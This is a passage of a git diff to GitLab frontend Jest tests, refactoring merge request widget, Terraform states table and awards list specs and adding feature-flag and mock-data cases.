+ detailsPath: '/job-path-3',
+ group: 'failed',
+ icon: 'status_failed',
+ label: 'failed',
+ text: 'failed',
+ },
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/3',
+ path: '/pipeline-path-3',
+ },
+ },
},
},
{
@@ -47,14 +61,33 @@ describe('StatesTable', () => {
latestVersion: {
updatedAt: '2020-10-09T00:00:00Z',
createdByUser: null,
+ job: {
+ detailedStatus: {
+ detailsPath: '/job-path-4',
+ group: 'passed',
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ },
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/4',
+ path: '/pipeline-path-4',
+ },
+ },
},
},
],
};
- beforeEach(() => {
+ const createComponent = (propsData = defaultProps) => {
wrapper = mount(StatesTable, { propsData });
return wrapper.vm.$nextTick();
+ };
+
+ const findActions = () => wrapper.findAll(StateActions);
+
+ beforeEach(() => {
+ return createComponent();
});
afterEach(() => {
@@ -99,4 +132,38 @@ describe('StatesTable', () => {
expect(state.text()).toMatchInterpolatedText(updateTime);
});
+
+ it.each`
+ pipelineText | toolTipAdded | lineNumber
+ ${''} | ${false} | ${0}
+ ${''} | ${false} | ${1}
+ ${'#3 failed Job status'} | ${true} | ${2}
+ ${'#4 passed Job status'} | ${true} | ${3}
+ `(
+ 'displays the pipeline information for line "$lineNumber"',
+ ({ pipelineText, toolTipAdded, lineNumber }) => {
+ const states = wrapper.findAll('[data-testid="terraform-states-table-pipeline"]');
+ const state = states.at(lineNumber);
+
+ expect(state.find(GlTooltip).exists()).toBe(toolTipAdded);
+ expect(state.text()).toMatchInterpolatedText(pipelineText);
+ },
+ );
+
+ it('displays no actions dropdown', () => {
+ expect(findActions().length).toEqual(0);
+ });
+
+ describe('when user is a terraform administrator', () => {
+ beforeEach(() => {
+ return createComponent({
+ terraformAdmin: true,
+ ...defaultProps,
+ });
+ });
+
+ it('displays an actions dropdown for each state', () => {
+ expect(findActions().length).toEqual(defaultProps.states.length);
+ });
+ });
});
diff --git a/spec/frontend/test_setup.js b/spec/frontend/test_setup.js
index eebec7de9d4..2a3eddf7b4e 100644
--- a/spec/frontend/test_setup.js
+++ b/spec/frontend/test_setup.js
@@ -25,7 +25,7 @@ afterEach(() =>
}),
);
-initializeTestTimeout(process.env.CI ? 6000 : 500);
+initializeTestTimeout(process.env.CI ? 6000 : 5000);
Vue.config.devtools = false;
Vue.config.productionTip = false;
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
index 266c906ba60..f9b6ac721d2 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
@@ -164,9 +164,7 @@ describe('MRWidgetHeader', () => {
it('renders checkout branch button with modal trigger', () => {
const button = vm.$el.querySelector('.js-check-out-branch');
- expect(button.textContent.trim()).toEqual('Check out branch');
- expect(button.getAttribute('data-target')).toEqual('#modal_merge_info');
- expect(button.getAttribute('data-toggle')).toEqual('modal');
+ expect(button.textContent.trim()).toBe('Check out branch');
});
it('renders web ide button', () => {
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_merge_help_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_merge_help_spec.js
index 00e79a22485..53a74bf7456 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_merge_help_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_merge_help_spec.js
@@ -1,69 +1,45 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import mergeHelpComponent from '~/vue_merge_request_widget/components/mr_widget_merge_help.vue';
+import { shallowMount } from '@vue/test-utils';
+import MergeHelpComponent from '~/vue_merge_request_widget/components/mr_widget_merge_help.vue';
describe('MRWidgetMergeHelp', () => {
- let vm;
- let Component;
+ let wrapper;
- beforeEach(() => {
- Component = Vue.extend(mergeHelpComponent);
- });
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(MergeHelpComponent, {
+ propsData: {
+ missingBranch: 'this-is-not-the-branch-you-are-looking-for',
+ ...props,
+ },
+ });
+ };
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
+ wrapper = null;
});
describe('with missing branch', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
- missingBranch: 'this-is-not-the-branch-you-are-looking-for',
- });
+ createComponent();
});
it('renders missing branch information', () => {
- expect(
- vm.$el.textContent
- .trim()
- .replace(/[\r\n]+/g, ' ')
- .replace(/\s\s+/g, ' '),
- ).toEqual(
- 'If the this-is-not-the-branch-you-are-looking-for branch exists in your local repository, you can merge this merge request manually using the command line',
- );
- });
-
- it('renders button to open help modal', () => {
- expect(vm.$el.querySelector('.js-open-modal-help').getAttribute('data-target')).toEqual(
- '#modal_merge_info',
- );
-
- expect(vm.$el.querySelector('.js-open-modal-help').getAttribute('data-toggle')).toEqual(
- 'modal',
+ expect(wrapper.find('.mr-widget-help').text()).toContain(
+ 'If the this-is-not-the-branch-you-are-looking-for branch exists in your local repository',
);
});
});
describe('without missing branch', () => {
beforeEach(() => {
- vm = mountComponent(Component);
+ createComponent({
+ props: { missingBranch: '' },
+ });
});
it('renders information about how to merge manually', () => {
- expect(
- vm.$el.textContent
- .trim()
- .replace(/[\r\n]+/g, ' ')
- .replace(/\s\s+/g, ' '),
- ).toEqual('You can merge this merge request manually using the command line');
- });
-
- it('renders element to open a modal', () => {
- expect(vm.$el.querySelector('.js-open-modal-help').getAttribute('data-target')).toEqual(
- '#modal_merge_info',
- );
-
- expect(vm.$el.querySelector('.js-open-modal-help').getAttribute('data-toggle')).toEqual(
- 'modal',
+ expect(wrapper.find('.mr-widget-help').text()).toContain(
+ 'You can merge this merge request manually',
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
index 19f8a67d066..ad21e6e6f4f 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
@@ -6,6 +6,7 @@ import ConflictsComponent from '~/vue_merge_request_widget/components/states/mr_
describe('MRWidgetConflicts', () => {
let vm;
+ let mergeRequestWidgetGraphql = null;
const path = '/conflicts';
function createComponent(propsData = {}) {
@@ -13,7 +14,35 @@ describe('MRWidgetConflicts', () => {
vm = shallowMount(localVue.extend(ConflictsComponent), {
propsData,
+ provide: {
+ glFeatures: {
+ mergeRequestWidgetGraphql,
+ },
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ userPermissions: { loading: false },
+ stateData: { loading: false },
+ },
+ },
+ },
});
+
+ if (mergeRequestWidgetGraphql) {
+ vm.setData({
+ userPermissions: {
+ canMerge: propsData.mr.canMerge,
+ pushToSourceBranch: propsData.mr.canPushToSourceBranch,
+ },
+ stateData: {
+ shouldBeRebased: propsData.mr.shouldBeRebased,
+ sourceBranchProtected: propsData.mr.sourceBranchProtected,
+ },
+ });
+ }
+
+ return vm.vm.$nextTick();
}
beforeEach(() => {
@@ -21,206 +50,215 @@ describe('MRWidgetConflicts', () => {
});
afterEach(() => {
+ mergeRequestWidgetGraphql = null;
vm.destroy();
});
- // There are two permissions we need to consider:
- //
- // 1. Is the user allowed to merge to the target branch?
- // 2. Is the user allowed to push to the source branch?
- //
- // This yields 4 possible permutations that we need to test, and
- // we test them below. A user who can push to the source
- // branch should be allowed to resolve conflicts. This is
- // consistent with what the backend does.
- describe('when allowed to merge but not allowed to push to source branch', () => {
- beforeEach(() => {
- createComponent({
- mr: {
- canMerge: true,
- canPushToSourceBranch: false,
- conflictResolutionPath: path,
- conflictsDocsPath: '',
- },
+ [false, true].forEach(featureEnabled => {
+ describe(`with GraphQL feature flag ${featureEnabled ? 'enabled' : 'disabled'}`, () => {
+ beforeEach(() => {
+ mergeRequestWidgetGraphql = featureEnabled;
});
- });
-
- it('should tell you about conflicts without bothering other people', () => {
- expect(vm.text()).toContain('There are merge conflicts');
- expect(vm.text()).not.toContain('ask someone with write access');
- });
-
- it('should not allow you to resolve the conflicts', () => {
- expect(vm.text()).not.toContain('Resolve conflicts');
- });
-
- it('should have merge buttons', () => {
- const mergeLocallyButton = vm.find('.js-merge-locally-button');
-
- expect(mergeLocallyButton.text()).toContain('Merge locally');
- });
- });
- describe('when not allowed to merge but allowed to push to source branch', () => {
- beforeEach(() => {
- createComponent({
- mr: {
- canMerge: false,
- canPushToSourceBranch: true,
- conflictResolutionPath: path,
- conflictsDocsPath: '',
- },
- });
- });
-
- it('should tell you about conflicts', () => {
- expect(vm.text()).toContain('There are merge conflicts');
- expect(vm.text()).toContain('ask someone with write access');
- });
-
- it('should allow you to resolve the conflicts', () => {
- const resolveButton = vm.find('.js-resolve-conflicts-button');
-
- expect(resolveButton.text()).toContain('Resolve conflicts');
- expect(resolveButton.attributes('href')).toEqual(path);
- });
-
- it('should not have merge buttons', () => {
- expect(vm.text()).not.toContain('Merge locally');
- });
- });
-
- describe('when allowed to merge and push to source branch', () => {
- beforeEach(() => {
- createComponent({
- mr: {
- canMerge: true,
- canPushToSourceBranch: true,
- conflictResolutionPath: path,
- conflictsDocsPath: '',
- },
+ // There are two permissions we need to consider:
+ //
+ // 1. Is the user allowed to merge to the target branch?
+ // 2. Is the user allowed to push to the source branch?
+ //
+ // This yields 4 possible permutations that we need to test, and
+ // we test them below. A user who can push to the source
+ // branch should be allowed to resolve conflicts. This is
+ // consistent with what the backend does.
+ describe('when allowed to merge but not allowed to push to source branch', () => {
+ beforeEach(async () => {
+ await createComponent({
+ mr: {
+ canMerge: true,
+ canPushToSourceBranch: false,
+ conflictResolutionPath: path,
+ conflictsDocsPath: '',
+ },
+ });
+ });
+
+ it('should tell you about conflicts without bothering other people', () => {
+ expect(vm.text()).toContain('There are merge conflicts');
+ expect(vm.text()).not.toContain('ask someone with write access');
+ });
+
+ it('should not allow you to resolve the conflicts', () => {
+ expect(vm.text()).not.toContain('Resolve conflicts');
+ });
+
+ it('should have merge buttons', () => {
+ const mergeLocallyButton = vm.find('.js-merge-locally-button');
+
+ expect(mergeLocallyButton.text()).toContain('Merge locally');
+ });
});
- });
-
- it('should tell you about conflicts without bothering other people', () => {
- expect(vm.text()).toContain('There are merge conflicts');
- expect(vm.text()).not.toContain('ask someone with write access');
- });
- it('should allow you to resolve the conflicts', () => {
- const resolveButton = vm.find('.js-resolve-conflicts-button');
-
- expect(resolveButton.text()).toContain('Resolve conflicts');
- expect(resolveButton.attributes('href')).toEqual(path);
- });
-
- it('should have merge buttons', () => {
- const mergeLocallyButton = vm.find('.js-merge-locally-button');
-
- expect(mergeLocallyButton.text()).toContain('Merge locally');
- });
- });
-
- describe('when user does not have permission to push to source branch', () => {
- it('should show proper message', () => {
- createComponent({
- mr: {
- canMerge: false,
- canPushToSourceBranch: false,
- conflictsDocsPath: '',
- },
+ describe('when not allowed to merge but allowed to push to source branch', () => {
+ beforeEach(async () => {
+ await createComponent({
+ mr: {
+ canMerge: false,
+ canPushToSourceBranch: true,
+ conflictResolutionPath: path,
+ conflictsDocsPath: '',
+ },
+ });
+ });
+
+ it('should tell you about conflicts', () => {
+ expect(vm.text()).toContain('There are merge conflicts');
+ expect(vm.text()).toContain('ask someone with write access');
+ });
+
+ it('should allow you to resolve the conflicts', () => {
+ const resolveButton = vm.find('.js-resolve-conflicts-button');
+
+ expect(resolveButton.text()).toContain('Resolve conflicts');
+ expect(resolveButton.attributes('href')).toEqual(path);
+ });
+
+ it('should not have merge buttons', () => {
+ expect(vm.text()).not.toContain('Merge locally');
+ });
});
- expect(
- vm
- .text()
- .trim()
- .replace(/\s\s+/g, ' '),
- ).toContain('ask someone with write access');
- });
-
- it('should not have action buttons', () => {
- createComponent({
- mr: {
- canMerge: false,
- canPushToSourceBranch: false,
- conflictsDocsPath: '',
- },
+ describe('when allowed to merge and push to source branch', () => {
+ beforeEach(async () => {
+ await createComponent({
+ mr: {
+ canMerge: true,
+ canPushToSourceBranch: true,
+ conflictResolutionPath: path,
+ conflictsDocsPath: '',
+ },
+ });
+ });
+
+ it('should tell you about conflicts without bothering other people', () => {
+ expect(vm.text()).toContain('There are merge conflicts');
+ expect(vm.text()).not.toContain('ask someone with write access');
+ });
+
+ it('should allow you to resolve the conflicts', () => {
+ const resolveButton = vm.find('.js-resolve-conflicts-button');
+
+ expect(resolveButton.text()).toContain('Resolve conflicts');
+ expect(resolveButton.attributes('href')).toEqual(path);
+ });
+
+ it('should have merge buttons', () => {
+ const mergeLocallyButton = vm.find('.js-merge-locally-button');
+
+ expect(mergeLocallyButton.text()).toContain('Merge locally');
+ });
});
- expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
- expect(vm.find('.js-merge-locally-button').exists()).toBe(false);
- });
-
- it('should not have resolve button when no conflict resolution path', () => {
- createComponent({
- mr: {
- canMerge: true,
- conflictResolutionPath: null,
- conflictsDocsPath: '',
- },
+ describe('when user does not have permission to push to source branch', () => {
+ it('should show proper message', async () => {
+ await createComponent({
+ mr: {
+ canMerge: false,
+ canPushToSourceBranch: false,
+ conflictsDocsPath: '',
+ },
+ });
+
+ expect(
+ vm
+ .text()
+ .trim()
+ .replace(/\s\s+/g, ' '),
+ ).toContain('ask someone with write access');
+ });
+
+ it('should not have action buttons', async () => {
+ await createComponent({
+ mr: {
+ canMerge: false,
+ canPushToSourceBranch: false,
+ conflictsDocsPath: '',
+ },
+ });
+
+ expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
+ expect(vm.find('.js-merge-locally-button').exists()).toBe(false);
+ });
+
+ it('should not have resolve button when no conflict resolution path', async () => {
+ await createComponent({
+ mr: {
+ canMerge: true,
+ conflictResolutionPath: null,
+ conflictsDocsPath: '',
+ },
+ });
+
+ expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
+ });
});
- expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
- });
- });
-
- describe('when fast-forward or semi-linear merge enabled', () => {
- it('should tell you to rebase locally', () => {
- createComponent({
- mr: {
- shouldBeRebased: true,
- conflictsDocsPath: '',
- },
+ describe('when fast-forward or semi-linear merge enabled', () => {
+ it('should tell you to rebase locally', async () => {
+ await createComponent({
+ mr: {
+ shouldBeRebased: true,
+ conflictsDocsPath: '',
+ },
+ });
+
+ expect(removeBreakLine(vm.text()).trim()).toContain(
+ 'Fast-forward merge is not possible. To merge this request, first rebase locally.',
+ );
+ });
});
- expect(removeBreakLine(vm.text()).trim()).toContain(
- 'Fast-forward merge is not possible. To merge this request, first rebase locally.',
- );
- });
- });
-
- describe('when source branch protected', () => {
- beforeEach(() => {
- createComponent({
- mr: {
- canMerge: true,
- canPushToSourceBranch: true,
- conflictResolutionPath: TEST_HOST,
- sourceBranchProtected: true,
- conflictsDocsPath: '',
- },
+ describe('when source branch protected', () => {
+ beforeEach(async () => {
+ await createComponent({
+ mr: {
+ canMerge: true,
+ canPushToSourceBranch: true,
+ conflictResolutionPath: TEST_HOST,
+ sourceBranchProtected: true,
+ conflictsDocsPath: '',
+ },
+ });
+ });
+
+ it('sets resolve button as disabled', () => {
+ expect(vm.find('.js-resolve-conflicts-button').attributes('disabled')).toBe('true');
+ });
+
+ it('renders popover', () => {
+ expect($.fn.popover).toHaveBeenCalled();
+ });
});
- });
-
- it('sets resolve button as disabled', () => {
- expect(vm.find('.js-resolve-conflicts-button').attributes('disabled')).toBe('disabled');
- });
- it('renders popover', () => {
- expect($.fn.popover).toHaveBeenCalled();
- });
- });
-
- describe('when source branch not protected', () => {
- beforeEach(() => {
- createComponent({
- mr: {
- canMerge: true,
- canPushToSourceBranch: true,
- conflictResolutionPath: TEST_HOST,
- sourceBranchProtected: false,
- conflictsDocsPath: '',
- },
+ describe('when source branch not protected', () => {
+ beforeEach(async () => {
+ await createComponent({
+ mr: {
+ canMerge: true,
+ canPushToSourceBranch: true,
+ conflictResolutionPath: TEST_HOST,
+ sourceBranchProtected: false,
+ conflictsDocsPath: '',
+ },
+ });
+ });
+
+ it('sets resolve button as disabled', () => {
+ expect(vm.find('.js-resolve-conflicts-button').attributes('disabled')).toBe(undefined);
+ });
+
+ it('renders popover', () => {
+ expect($.fn.popover).not.toHaveBeenCalled();
+ });
});
});
-
- it('sets resolve button as disabled', () => {
- expect(vm.find('.js-resolve-conflicts-button').attributes('disabled')).toBe(undefined);
- });
-
- it('renders popover', () => {
- expect($.fn.popover).not.toHaveBeenCalled();
- });
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_missing_branch_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_missing_branch_spec.js
index 3f03ebdb047..f45368bf443 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_missing_branch_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_missing_branch_spec.js
@@ -1,40 +1,46 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import missingBranchComponent from '~/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue';
-
-describe('MRWidgetMissingBranch', () => {
- let vm;
-
- beforeEach(() => {
- const Component = Vue.extend(missingBranchComponent);
- vm = mountComponent(Component, { mr: { sourceBranchRemoved: true } });
- });
-
- afterEach(() => {
- vm.$destroy();
+import { shallowMount } from '@vue/test-utils';
+import MissingBranchComponent from '~/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue';
+
+let wrapper;
+
+function factory(sourceBranchRemoved, mergeRequestWidgetGraphql) {
+ wrapper = shallowMount(MissingBranchComponent, {
+ propsData: {
+ mr: { sourceBranchRemoved },
+ },
+ provide: {
+ glFeatures: { mergeRequestWidgetGraphql },
+ },
});
- describe('computed', () => {
- describe('missingBranchName', () => {
- it('should return proper branch name', () => {
- expect(vm.missingBranchName).toEqual('source');
+ if (mergeRequestWidgetGraphql) {
+ wrapper.setData({ state: { sourceBranchExists: !sourceBranchRemoved } });
+ }
- vm.mr.sourceBranchRemoved = false;
+ return wrapper.vm.$nextTick();
+}
- expect(vm.missingBranchName).toEqual('target');
- });
- });
+describe('MRWidgetMissingBranch', () => {
+ afterEach(() => {
+ wrapper.destroy();
});
- describe('template', () => {
- it('should have correct elements', () => {
- const el = vm.$el;
- const content = el.textContent.replace(/\n(\s)+/g, ' ').trim();
-
- expect(el.classList.contains('mr-widget-body')).toBeTruthy();
- expect(el.querySelector('button').getAttribute('disabled')).toBeTruthy();
- expect(content.replace(/\s\s+/g, ' ')).toContain('source branch does not exist.');
- expect(content).toContain('Please restore it or use a different source branch');
+ [true, false].forEach(mergeRequestWidgetGraphql => {
+ describe(`widget GraphQL feature flag is ${
+ mergeRequestWidgetGraphql ? 'enabled' : 'disabled'
+ }`, () => {
+ it.each`
+ sourceBranchRemoved | branchName
+ ${true} | ${'source'}
+ ${false} | ${'target'}
+ `(
+ 'should set missing branch name as $branchName when sourceBranchRemoved is $sourceBranchRemoved',
+ async ({ sourceBranchRemoved, branchName }) => {
+ await factory(sourceBranchRemoved, mergeRequestWidgetGraphql);
+
+ expect(wrapper.find('[data-testid="missingBranchName"]').text()).toContain(branchName);
+ },
+ );
});
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_squash_before_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_squash_before_merge_spec.js
index 5326d63cb8a..f9490ac77ff 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_squash_before_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_squash_before_merge_spec.js
@@ -1,4 +1,5 @@
import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlFormCheckbox } from '@gitlab/ui';
import SquashBeforeMerge from '~/vue_merge_request_widget/components/states/squash_before_merge.vue';
import { SQUASH_BEFORE_MERGE } from '~/vue_merge_request_widget/i18n';
@@ -20,17 +21,15 @@ describe('Squash before merge component', () => {
wrapper.destroy();
});
- const findLabel = () => wrapper.find('[data-testid="squashLabel"]');
+ const findCheckbox = () => wrapper.find(GlFormCheckbox);
describe('checkbox', () => {
- const findCheckbox = () => wrapper.find('.js-squash-checkbox');
-
it('is unchecked if passed value prop is false', () => {
createComponent({
value: false,
});
- expect(findCheckbox().element.checked).toBeFalsy();
+ expect(findCheckbox().vm.$attrs.checked).toBe(false);
});
it('is checked if passed value prop is true', () => {
@@ -38,22 +37,7 @@ describe('Squash before merge component', () => {
value: true,
});
- expect(findCheckbox().element.checked).toBeTruthy();
- });
-
- it('changes value on click', done => {
- createComponent({
- value: false,
- });
-
- findCheckbox().element.checked = true;
-
- findCheckbox().trigger('change');
-
- wrapper.vm.$nextTick(() => {
- expect(findCheckbox().element.checked).toBeTruthy();
- done();
- });
+ expect(findCheckbox().vm.$attrs.checked).toBe(true);
});
it('is disabled if isDisabled prop is true', () => {
@@ -62,31 +46,12 @@ describe('Squash before merge component', () => {
isDisabled: true,
});
- expect(findCheckbox().attributes('disabled')).toBeTruthy();
- });
- });
-
- describe('label', () => {
- describe.each`
- isDisabled | expectation
- ${true} | ${'grays out text if it is true'}
- ${false} | ${'does not gray out text if it is false'}
- `('isDisabled prop', ({ isDisabled, expectation }) => {
- beforeEach(() => {
- createComponent({
- value: false,
- isDisabled,
- });
- });
-
- it(expectation, () => {
- expect(findLabel().classes('gl-text-gray-400')).toBe(isDisabled);
- });
+ expect(findCheckbox().vm.$attrs.disabled).toBe(true);
});
});
describe('tooltip', () => {
- const tooltipTitle = () => findLabel().attributes('title');
+ const tooltipTitle = () => findCheckbox().attributes('title');
it('does not render when isDisabled is false', () => {
createComponent({
@@ -114,7 +79,7 @@ describe('Squash before merge component', () => {
const aboutLink = wrapper.find('a');
- expect(aboutLink.exists()).toBeFalsy();
+ expect(aboutLink.exists()).toBe(false);
});
it('is rendered if help path is passed', () => {
@@ -125,7 +90,7 @@ describe('Squash before merge component', () => {
const aboutLink = wrapper.find('a');
- expect(aboutLink.exists()).toBeTruthy();
+ expect(aboutLink.exists()).toBe(true);
});
it('should have a correct help path if passed', () => {
diff --git a/spec/frontend/vue_mr_widget/deployment/deployment_spec.js b/spec/frontend/vue_mr_widget/deployment/deployment_spec.js
index 17d7fcc4bff..19a5566c3b1 100644
--- a/spec/frontend/vue_mr_widget/deployment/deployment_spec.js
+++ b/spec/frontend/vue_mr_widget/deployment/deployment_spec.js
@@ -8,6 +8,7 @@ import {
SUCCESS,
FAILED,
CANCELED,
+ SKIPPED,
} from '~/vue_merge_request_widget/components/deployment/constants';
import { deploymentMockData, playDetails, retryDetails } from './deployment_mock_data';
@@ -77,6 +78,10 @@ describe('Deployment component', () => {
${CANCELED} | ${true} | ${noDetails} | ${'Canceled deployment to'} | ${defaultGroup}
${CANCELED} | ${false} | ${deployDetail} | ${'Canceled deployment to'} | ${noActions}
${CANCELED} | ${false} | ${noDetails} | ${'Canceled deployment to'} | ${noActions}
+ ${SKIPPED} | ${true} | ${deployDetail} | ${'Skipped deployment to'} | ${defaultGroup}
+ ${SKIPPED} | ${true} | ${noDetails} | ${'Skipped deployment to'} | ${defaultGroup}
+ ${SKIPPED} | ${false} | ${deployDetail} | ${'Skipped deployment to'} | ${noActions}
+ ${SKIPPED} | ${false} | ${noDetails} | ${'Skipped deployment to'} | ${noActions}
`(
'$status + previous: $previous + manual: $deploymentDetails.isManual',
({ status, previous, deploymentDetails, text, actionButtons }) => {
diff --git a/spec/frontend/vue_mr_widget/mock_data.js b/spec/frontend/vue_mr_widget/mock_data.js
index 144283dc507..8ee920f06a1 100644
--- a/spec/frontend/vue_mr_widget/mock_data.js
+++ b/spec/frontend/vue_mr_widget/mock_data.js
@@ -41,6 +41,7 @@ export default {
user_callouts_path: 'some/callout/path',
suggest_pipeline_feature_id: 'suggest_pipeline',
new_project_pipeline_path: '/group2/project2/pipelines/new',
+ source_project_default_url: '/gitlab-org/html5-boilerplate.git',
metrics: {
merged_by: {
name: 'Administrator',
@@ -263,6 +264,8 @@ export default {
merge_trains_count: 3,
merge_train_index: 1,
security_reports_docs_path: 'security-reports-docs-path',
+ sast_comparison_path: '/sast_comparison_path',
+ secret_scanning_comparison_path: '/secret_scanning_comparison_path',
};
export const mockStore = {
diff --git a/spec/frontend/vue_mr_widget/mr_widget_how_to_merge_modal_spec.js b/spec/frontend/vue_mr_widget/mr_widget_how_to_merge_modal_spec.js
new file mode 100644
index 00000000000..aaaee3327a8
--- /dev/null
+++ b/spec/frontend/vue_mr_widget/mr_widget_how_to_merge_modal_spec.js
@@ -0,0 +1,68 @@
+import { GlModal, GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import MrWidgetHowToMergeModal from '~/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue';
+
+describe('MRWidgetHowToMerge', () => {
+ let wrapper;
+
+ function mountComponent({ data = {}, props = {} } = {}) {
+ wrapper = shallowMount(MrWidgetHowToMergeModal, {
+ data() {
+ return { ...data };
+ },
+ propsData: {
+ ...props,
+ },
+ stubs: {},
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ const findModal = () => wrapper.find(GlModal);
+ const findInstructionsFields = () =>
+ wrapper.findAll('[ data-testid="how-to-merge-instructions"]');
+ const findTipLink = () => wrapper.find(GlSprintf);
+
+ it('renders a modal', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('renders a selection of markdown fields', () => {
+ expect(findInstructionsFields().length).toBe(3);
+ });
+
+ it('renders a tip including a link to docs when a valid link is present', () => {
+ mountComponent({ props: { reviewingDocsPath: '/gitlab-org/help' } });
+ expect(findTipLink().exists()).toBe(true);
+ });
+
+ it('should not render a tip including a link to docs when a valid link is not present', () => {
+ expect(findTipLink().exists()).toBe(false);
+ });
+
+ it('should render different instructions based on if the user can merge', () => {
+ mountComponent({ props: { canMerge: true } });
+ expect(
+ findInstructionsFields()
+ .at(2)
+ .text(),
+ ).toContain('git push origin');
+ });
+
+ it('should render different instructions based on if the merge is based off a fork', () => {
+ mountComponent({ props: { isFork: true } });
+ expect(
+ findInstructionsFields()
+ .at(0)
+ .text(),
+ ).toContain('FETCH_HEAD');
+ });
+});
diff --git a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
index cb0006548d4..a20cd5b4400 100644
--- a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
+++ b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
@@ -863,7 +863,7 @@ describe('mrWidgetOptions', () => {
});
});
- describe('suggestPipeline feature flag', () => {
+ describe('suggestPipeline', () => {
beforeEach(() => {
mock.onAny().reply(200);
@@ -874,8 +874,6 @@ describe('mrWidgetOptions', () => {
describe('given feature flag is enabled', () => {
beforeEach(() => {
- gon.features = { suggestPipeline: true };
-
createComponent();
vm.mr.hasCI = false;
@@ -905,19 +903,5 @@ describe('mrWidgetOptions', () => {
expect(findSuggestPipeline()).toBeNull();
});
});
-
- describe('given feature flag is not enabled', () => {
- beforeEach(() => {
- gon.features = { suggestPipeline: false };
-
- createComponent();
-
- vm.mr.hasCI = false;
- });
-
- it('should not suggest pipelines when none exist', () => {
- expect(findSuggestPipeline()).toBeNull();
- });
- });
});
});
diff --git a/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js b/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
index f73f78d6f6e..8b2c10ec50a 100644
--- a/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
+++ b/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
@@ -1,3 +1,4 @@
+import { convertToCamelCase } from '~/lib/utils/text_utility';
import MergeRequestStore from '~/vue_merge_request_widget/stores/mr_widget_store';
import { stateKey } from '~/vue_merge_request_widget/stores/state_maps';
import mockData from '../mock_data';
@@ -141,10 +142,29 @@ describe('MergeRequestStore', () => {
expect(store.newPipelinePath).toBe('/group2/project2/pipelines/new');
});
+ it('should set sourceProjectDefaultUrl', () => {
+ store.setPaths({ ...mockData });
+
+ expect(store.sourceProjectDefaultUrl).toBe('/gitlab-org/html5-boilerplate.git');
+ });
+
it('should set securityReportsDocsPath', () => {
store.setPaths({ ...mockData });
expect(store.securityReportsDocsPath).toBe('security-reports-docs-path');
});
+
+ it.each(['sast_comparison_path', 'secret_scanning_comparison_path'])(
+ 'should set %s path',
+ property => {
+ // Ensure something is set in the mock data
+ expect(property in mockData).toBe(true);
+ const expectedValue = mockData[property];
+
+ store.setPaths({ ...mockData });
+
+ expect(store[convertToCamelCase(property)]).toBe(expectedValue);
+ },
+ );
});
});
diff --git a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
index 04ae2a0f34d..20ea897e29c 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
@@ -5,12 +5,17 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
class="awards js-awards-block"
>
<button
- class="btn award-control"
+ class="btn gl-mr-3 btn-default btn-md gl-button"
data-testid="award-button"
title="Ada, Leonardo, and Marie"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -23,18 +28,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 3
+
+ <span
+ class="js-counter"
+ >
+ 3
+ </span>
</span>
</button>
<button
- class="btn award-control active"
+ class="btn gl-mr-3 btn-default btn-md gl-button selected"
